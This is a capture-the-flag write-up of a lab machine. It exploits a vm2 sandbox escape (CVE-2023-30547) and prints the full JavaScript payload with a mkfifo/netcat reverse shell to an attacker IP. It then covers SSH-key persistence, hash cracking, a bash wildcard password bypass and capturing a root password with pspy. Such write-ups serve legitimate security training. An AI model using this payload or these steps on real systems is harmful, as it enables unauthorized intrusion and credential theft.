Enumeration

1
export target=10.129.47.211

Port Scanning

1
rustscan -a $target --ulimit 10000 -g
1
nmap -Pn -sC -sV -n -p22,80,3000 -T5 $target -oN nmap_codify

Add codify.htb to hosts:

1
echo "10.129.47.211    codify.htb" | sudo tee -a /etc/hosts

Web Application (80)

We can execute code, there are some limitations though:

We learn that it uses vm2: Link redirects to github and the version is 3.9.16. Let’s search for a vulnerability if any exists.

There is a PoC of CVE-2023-30547. It is a sandbox escape vulnerability: https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

Using the PoC, we can execute commands on host:

Initial Foothold

Exploit code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.57 6666 >/tmp/f');
}

We got the shell:

Upgrade the shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
python3 -c "import pty;pty.spawn('/bin/bash')"

svc@codify:~$ 
zsh: suspended  rlwrap -cAr nc -lvnp 6666
                                                                                  
┌──(burak㉿kali)-[~]
└─$ stty raw -echo; fg    
[1]  + continued  rlwrap -cAr nc -lvnp 6666
svc@codify:~$ export SHELL=bash
export SHELL=bash
svc@codify:~$ export TERM=xterm
export TERM=xterm
svc@codify:~$ stty row $(tput lines) columns $(tput cols)
stty row $(tput lines) columns $(tput cols)
stty: invalid argument ‘row’
Try 'stty --help' for more information.
svc@codify:~$ stty rows $(tput lines) columns $(tput cols)
stty rows $(tput lines) columns $(tput cols)
svc@codify:~$ reset

Persistence

Let’s add our public key to .ssh to we can login via SSH.

Create the .ssh directory on target:

1
2
3
4
# On Target
mkdir ~/.ssh

chmod 700 ~/.ssh

Generate public & private keys:

1
2
# On Host
ssh-keygen -t ed25519 -f persist -N ''

Add it to authorized_keys:

1
2
3
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICcYg9eb4CFK79KOmXF0oCvWX2TULxWaeLnjUJKRlAyM burak@kali" >> ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

Now we can log in via SSH:

1
ssh -i persist svc@10.129.47.211

Lateral Movement

Hunt for credentials. Start on /var/www, there may be config files etc.

When wandering around, I found a database file:

It is a sqlite file, so we can open it with sqlite3 (or cat it):

We got a hash of joshua’s password and it is a brcypt format:

Crack it with hashcat:

Log in as joshua:

Privilege Escalation

joshua can run a script with root privileges:

1
sudo -l

The script:

Looks like we need the db password.

I got stuck so I looked at the Hint. It says “When the right-hand side of an equals operation inside double brackets is not quoted, it is evaluated as a pattern instead of a string.”

So if a insert some kind of regex wildcard, I can bypass the password check, I tried ‘*’:

It ran, Now what?

Taking another hint, I realized that I can see the DB_PASS variable on runtime using pspy. I’ve downloaded the pspy64 then transferred it to the machine:

After starting pspy with ./pspy64 -f -f for file system events, we capture the password of the database root user:

Password is: kljh12k3jhaskjh12kjh3

Let’s try to authenticate to root

1
su root

bum

Key Takeaways

  • Add pspy to your toolset; it lets you capture credentials used at runtime by scripts running as root.
  • In bash scripts, if variables inside double brackets [[ ]] are unquoted, you can bypass the condition using * wildcard.
  • If sandbox technologies (vm2, Docker, etc.) are in use, check the version; sandbox escape CVEs can give you direct RCE.